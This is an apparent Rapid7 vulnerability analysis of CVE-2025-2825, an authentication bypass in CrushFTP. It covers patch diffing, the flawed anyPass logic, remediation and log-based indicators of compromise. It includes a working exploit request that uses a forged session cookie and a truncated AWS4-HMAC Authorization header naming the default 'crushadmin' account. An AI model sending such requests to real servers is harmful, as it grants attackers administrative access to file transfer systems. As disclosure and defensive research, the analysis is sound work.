Rapid7
Threat Research

Rapid7 Analysis: CVE-2025-2825

|Last updated on Jun 16, 2026|9 min read

Overview

On Friday, March 21, 2025, CrushFTP, a managed file transfer solution vendor, announced a new vulnerability to customers via email. This vulnerability was later assigned CVE-2025-2825 and given an initial severity rating of “Critical.” Few details were provided by the vendor, and there was some confusion around affected versions; the initial email only stated that v11 < 11.3.1 was vulnerable, while the advisory page stated that v10 < 10.8.4 was also vulnerable.

Analysis

We start by taking a look at the original advisory, which, as of March 31, 2025, states the following:

March 21, 2025 - Unauthenticated HTTP(S) port access on CrushFTPv10/v11 (CVE:TBA)
This issue affects both CrushFTP v10 and v11. The exploit does not work if you have the DMZ proxy instance of CrushFTP in place. The vulnerability was responsibly disclosed, it is not being used actively in the wild that we know of, no further details will be given at this time.

After several days had passed with no CVE assigned, an external research CVE Numbering Authority (CNA) assigned CVE-2025-2825 to this issue to allow organizations to track and address exposure.

CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.

Given the lack of detail provided by the vendor, the most useful source of information is the CrushFTP v11.3.1 changelog. This log contains a more useful hint toward the affected component: _6:authentication fix (Credit:Outpost24). Based on the knowledge we’ve gathered, we’ll focus our patch diffing efforts on web authentication code.

Diffing the Patch

Looking through the list of changed files, crushftp.server.ServerSessionHTTP has received some notable changes.

The loginCheckHeaderAuth() method has been modified; some AWS-specific authentication logic changes have been made. The diff of the two versions of that method is below.

2276c2276
<         String authorization = "";
---
>         String authorization = ":";
2277a2278
>             Properties tmp_user;
2288a2290,2291
>             } else if (!ServerStatus.BG("s3_auth_lookup_password_supported")) {
>                 return;
2304,2307c2307,2310
<             if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
<                 if (lookup_user_pass) {
<                     user_pass = com.crushftp.client.Common.encryptDecrypt(this.thisSession.user.getProperty("password"), false);
<                 }
---
>             if ((tmp_user = UserTools.ut.getUser(this.thisSession.server_item.getProperty("linkedServer", ""), user_name)) != null && lookup_user_pass) {
>                 user_pass = com.crushftp.client.Common.encryptDecrypt(tmp_user.getProperty("password"), false);
>             }
>             if (tmp_user != null && user_pass != null) {
2330a2334
>                 boolean success = false;
2332c2336
<                 while (timezone_loops < 2) {
---
>                 while (!success && timezone_loops < 2) {
2334,2335c2338,2339
<                     boolean success = this.headerLookup.getProperty("Authorization".toUpperCase()).trim().replaceAll(" ", "").equals(auth_header.replaceAll(" ", ""));
<                     if (success || !success && !lookup_user_pass) {
---
>                     success = this.headerLookup.getProperty("Authorization".toUpperCase()).trim().replaceAll(" ", "").equals(auth_header.replaceAll(" ", ""));
>                     if (success) {
2337d2340
<                         break;
2339d2341
<                     authorization = ":";
2341a2344,2346
>                 }
>                 if (!success && !lookup_user_pass && this.thisSession.login_user_pass(false, false, user_name, user_pass)) {
>                     authorization = String.valueOf(user_name) + ":" + user_pass;

We can observe the full context of the changes to this file in WinMerge, as depicted below.

CrushFTP authentication changes

When a web request is made to the CrushFTP server, the server checks for an AWS S3-specific value in the ‘Authorization’ header, AWS4-HMAC, as a possible authentication method ([A]). We can learn more about the intended structure of this header from AWS documentation for S3 web request authentication. An example from the AWS documentation is Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/20130524/us-east-1/s3/aws4_request,SignedHeaders=host;range;x-amz-date,Signature=fe5f80f77d5fa3beca038a248ff027d0445342fe2855ddc963176630326f1024. If the ‘Authorization’ header is present and the value begins with “AWS4-HMAC”, the server will attempt to extract an s3_username value following an = character and before a / character ([B]). With the AWS example header, the s3_username value would be extracted as AKIAIOSFODNN7EXAMPLE. Next, the user_name value is set to the value of s3_username ([C]) and lookup_user_pass is set to true ([D]). Further down in the method, this.thisSession.login_user_pass() is called with lookup_user_pass as the first argument ([E]).

    public void loginCheckHeaderAuth() throws Exception {
        boolean good;
        String user_pass;
        if (this.thisSession.uiBG("user_logged_in") && !this.thisSession.uiSG("user_name").equalsIgnoreCase("anonymous") && !this.thisSession.uiSG("user_name").equalsIgnoreCase("") && this.thisSession.user != null || !this.headerLookup.containsKey("Authorization".toUpperCase()) && !this.headerLookup.containsKey("Proxy-Authorization".toUpperCase()) && !this.headerLookup.containsKey("as2-to".toUpperCase())) return;
        String authorization = "";
        if (this.headerLookup.containsKey("Authorization".toUpperCase()) && this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) { // [A]
            String region;
            String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
            s3_username = s3_username.substring(s3_username.indexOf("=") + 1);
            s3_username = s3_username.substring(0, s3_username.indexOf("/")); // [B]
            user_pass = null;
            String user_name = s3_username; // [C]
            boolean lookup_user_pass = true; // [D]
            if (s3_username.indexOf("~") >= 0) {
                user_pass = user_name.substring(user_name.indexOf("~") + 1);
                user_name = user_name.substring(0, user_name.indexOf("~"));
                lookup_user_pass = false;
            }
            String params = this.headers.elementAt(0).toString();
            params = params.substring(params.indexOf(" ") + 1, params.lastIndexOf(" "));
            VRL s3_vrl = new VRL("https://127.0.0.1:8443" + params);
            String region_host = s3_vrl.getHost().toLowerCase();
            String region_name = "";
            if (s3_vrl.getPort() != 443) {
                region_host = String.valueOf(s3_vrl.getHost().toLowerCase()) + ":" + s3_vrl.getPort();
            }
            if ((region = region_host).contains(":")) {
                region = region.substring(0, region.indexOf(":"));
            }
            if ((region_name = region.substring(3).substring(0, region.substring(3).indexOf("."))).equals("")) {
                region_name = "us-east-1";
            }
            if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) { // [E]
                if (lookup_user_pass) {
                    user_pass = com.crushftp.client.Common.encryptDecrypt(this.thisSession.user.getProperty("password"), false);
                }
                Properties config = new Properties();
// [..SNIP..]

In comparison to the vulnerable code, the patched version has reorganized and slightly modified authentication logic. Specifically, the previously existing call to login_user_pass takes place later on, and lookup_user_pass has been replaced with false as the first parameter.

[..SNIP..] && this.thisSession.login_user_pass(false, false, user_name, user_pass)) {

Since it appears that the key to understanding the vulnerability lies in login_user_pass, we’ll take a look at that method now.

Authentication Bypass

The login_user_pass method expects four parameters and has the following definition:

login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass)

The first parameter is called anyPass, and it’s used later in a subsequent call to verify_user in login_user_pass, as shown below. The verified boolean variable in login_user_pass tracks whether a user’s credentials have been authenticated, based on the return of verify_user.

if (!(verified = this.verify_user(user_name, verify_password, anyPass, doAfterLogin)) || this.user == null || !this.user.getProperty("otp_auth", "").equals("true")) break block157;

As noted, in the patch, the anyPass parameter has been changed from lookup_user_pass to false in the original call to login_user_pass. Why is this significant?

Based on contextual clues in the code, anyPass seems to be a boolean variable that’s used to determine whether the CrushFTP server should accept any arbitrary password for an account that’s attempting to login. By design, even if authentication fails, the CrushFTP security model considers scenarios where a password might not be set yet or the user account may not require a password. In a scenario like that, anyPass is checked to determine whether authentication should be enforced, as seen in a snippet below from crushftp.handlers.SessionCrush ([F]). It also serves double duty as a sort of success code for authentication in verify_user ([G]), with the server setting anyPass to true if anyPass was previously false but the provided password is correct.

If the end of the verify_user method is reached without one of many failure clauses returning false, the method returns true and authentication succeeds ([H]). This results in the verified boolean variable being set to true in login_user_pass.

if (UserTools.checkPassword(thePass)) {
                    anyPass = true; // [G]
                }

// [..SNIP..]

if (!anyPass && this.user == null && !theUser.toLowerCase().equals("anonymous")) { // [F]
                    this.user_info.put("plugin_user_auth_info", "Password incorrect.");
                }
// [..SNIP..]
        }
        return true; // [H]
    }

With this information, we can put the pieces together. One request to the web server with a known administrator username should authenticate a provided session cookie. A second request with the authenticated session cookie should succeed when attempting to perform arbitrary privileged actions. We’ll try that now with the default administrator username of “crushadmin”.

Note that the c2f parameter must be equal to the currentAuth cookie, which must be the last four characters of the primary CrushAuth session cookie. The CrushAuth cookie value can be arbitrarily set, so long as it’s the expected length and character set of a legitimate cookie.

GET /WebInterface/function/?command=getUsername&c2f=3HLa HTTP/1.1
Host: 192.168.181.129:8080
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Cookie: showRightRail=false; DoNotShowFTU=true; lastMangerHost=http%3A//localhost%3A8087; currentAuth=3HLa; CrushAuth=1742972465863_IdzGfLNkZvdjv2ew1O9txCFnwe3HLa;
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Connection: keep-alive

The server returns a one-line blank response. This indicates that the authentication bypass has succeeded. Next, we will repeat the same request to call the getUsername API.

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Wed, 26 Mar 2025 07:03:07 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Keep-Alive: timeout=15, max=20
Connection: Keep-Alive
Content-Length: 129

<?xml version="1.0" encoding="UTF-8"?> 
<loginResult><response>success</response><username>crushadmin</username></loginResult>

The XML response indicates that we’re authenticated as the user “crushadmin”.

Remediation

As noted in the analysis, the anyPass parameter is no longer sourced from the lookup_user_pass value that the attacker could set to true. As a result, on patched v11 instances, the exploit request will return 200 OK with a “failure” XML body instead of an empty response. This was tested on the patched CrushFTP version 11.3.1. The 11.3.1 update also implements a new s3_auth_lookup_password_supported configuration value that is set to “false” by default; this option automatically disables S3 authentication for organizations that are not using CrushFTP’s AWS integration features.

Security firm ProjectDiscovery has also published an independent analysis that mirrors our findings.

IOCs

If verbose logging is not enabled (“0”, default), the server will not log that S3 authentication was used. Unfortunately, IOCs are likely to be challenging to detect; the best method of detection is manually identifying user account traffic from unrecognized IP addresses that cannot be mapped to legitimate users’ activities.

An example is below, where “192.168.181.55” is an unrecognized IP and the legitimate owner of the “crushadmin” account has not been active.

SESSION|03/26/2025 15:35:30.371|[HTTP:1901_61834:crushadmin:192.168.181.55] WROTE: *HTTP/1.1 200 OK*

If verbose logging (“2”) is enabled, however, the CrushFTP.log file and archived log files will contain lines with the Authorization header and value. A minimal example is below.

READ: *Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/*

The above is easily detectable based on the lack of a proper signature or full AWS resource identifier. However, clever attackers can provide invalid, but legitimate looking, full AWS authentication headers that will still result in authentication bypass. They might also target usernames that are not the default “crushadmin” administrator account. Logged Authorization headers containing “AWS4-HMAC-SHA256” that do not contain legitimate resources affiliated with an organization should be considered IOCs.

LinkedInFacebookXBluesky